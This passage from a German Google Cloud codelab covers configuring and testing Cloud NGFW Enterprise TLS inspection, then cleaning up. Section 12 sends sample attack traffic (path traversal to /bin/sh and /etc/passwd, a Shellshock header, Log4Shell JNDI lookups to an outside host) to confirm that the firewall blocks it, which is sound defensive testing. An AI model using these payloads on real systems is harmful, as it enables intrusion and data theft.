  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

Die obigen Befehle haben das Zertifikat der Stamm-CA in den Trust Store aufgenommen, da Ihr Serverzertifikat mit der Stamm-CA signiert wurde. Das bedeutet, dass die Firewall allen Zertifikaten vertraut, die sie empfängt und die von Ihrer Root-CA signiert wurden. Zusätzlich werden auch die Zertifikate der öffentlichen Zertifizierungsstellen akzeptiert, wenn in Ihrer TLS-Richtlinie „excludePublicCa“ auf „false“ gesetzt ist.

Prüfen Sie den Inhalt der Trust-Konfiguration.

cat trust_config.yaml 

Beispielausgabe:

Achten Sie genau auf die Einzüge des Zertifikats. Es muss genau diesem Format entsprechen.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Importieren Sie die Vertrauenskonfiguration:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Aktualisieren Sie die YAML-Datei der TLS-Richtlinie, um die Vertrauenskonfiguration einzufügen:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Importieren Sie die aktualisierte TLS-Richtlinie:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. TLS-Prüfung für Ein-/Ausstiege prüfen

Stellen Sie eine SSH-Verbindung zum Client her, um den E/A-Traffic mit der aktualisierten Vertrauensstellung zu testen:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Führen Sie die Beispiel-TLS-Anfrage an den Server aus:

curl https://$target_privateip --max-time 2

Wenn Sie weiterhin die folgende Ausgabe erhalten, warten Sie, bis die Änderungen übernommen wurden.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Erwartete Ausgabe:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Senden Sie schädlichen Testtraffic an den Server:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Erwartete Ausgabe:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Wie in der erwarteten Ausgabe unten zu sehen, werden keine Antworten empfangen. Das bestätigt, dass die Beispielangriffe jetzt für E/W blockiert werden.

13. Logging

Rufen Sie in der Cloud Console „Logging“ > „Log-Explorer“ auf, geben Sie den Filter unten ein und führen Sie eine Abfrage der Protokolle aus. Ersetzen Sie [PROJECT_ID] durch Ihre Projekt-ID:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Cloud NGFW Enterprise-Logeinträge sollten in etwa so aussehen:

5b68cc1063c0f4bd.png

Maximieren Sie die Logeinträge und sehen Sie nach, ob die von der Client-VM an den Server gesendeten Angriffe erkannt und blockiert wurden (Apache Log4j-Sicherheitslücke zur Remote-Codeausführung, siehe Screenshot unten).

478f18f8481e90ed.png

Sie haben Cloud NGFW Enterprise mit TLS-Prüfung bereitgestellt, um schädliche Anfragen zu blockieren.

Fahren Sie mit dem nächsten Abschnitt fort, um die Bereinigung durchzuführen.

14. Bereinigungsschritte

Bereinigung der Basiseinrichtung

Entfernen Sie die Instanzen:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Führen Sie die folgenden Schritte aus, wenn die Rollen „tagAdmin“ und „tagUsers“ geändert wurden:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Entfernen Sie den Tag-Schlüssel und die Tag-Werte:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Entfernen Sie die Cloud-Firewall-Netzwerkrichtlinie und die Verknüpfung:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Löschen Sie den Cloud Router und Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Löschen Sie die reservierten IP-Adressen:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall-SPG, Verknüpfung und TLS-Bereinigung

Löschen Sie die Sicherheitsprofilgruppe und das Bedrohungsprofil in dieser Reihenfolge:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Löschen Sie die Cloud-Firewall-Endpunktverknüpfung:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Löschen Sie den Cloud-Firewall-Endpunkt. Das kann etwa 20 Minuten dauern:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

Optional können Sie mit dem folgenden Befehl prüfen, ob der Cloud NGFW-Endpunkt gelöscht wurde:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Der Status für den Endpunkt sollte Folgendes anzeigen:

STATE: DELETING

Danach wird der Endpunkt nicht mehr aufgeführt.

Löschen Sie die TLS-Richtlinie und die Vertrauenskonfiguration in dieser Reihenfolge:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Deaktivieren und löschen Sie die Stamm-CA und den CA-Pool:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Subnetz- und VPC-Bereinigung

Löschen Sie abschließend das Subnetz und das VPC-Netzwerk:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. Glückwunsch!

Herzlichen Glückwunsch, Sie haben das Codelab zur Cloud NGFW Enterprise für die East-West- und Northbound-TLS-Inspektion erfolgreich abgeschlossen.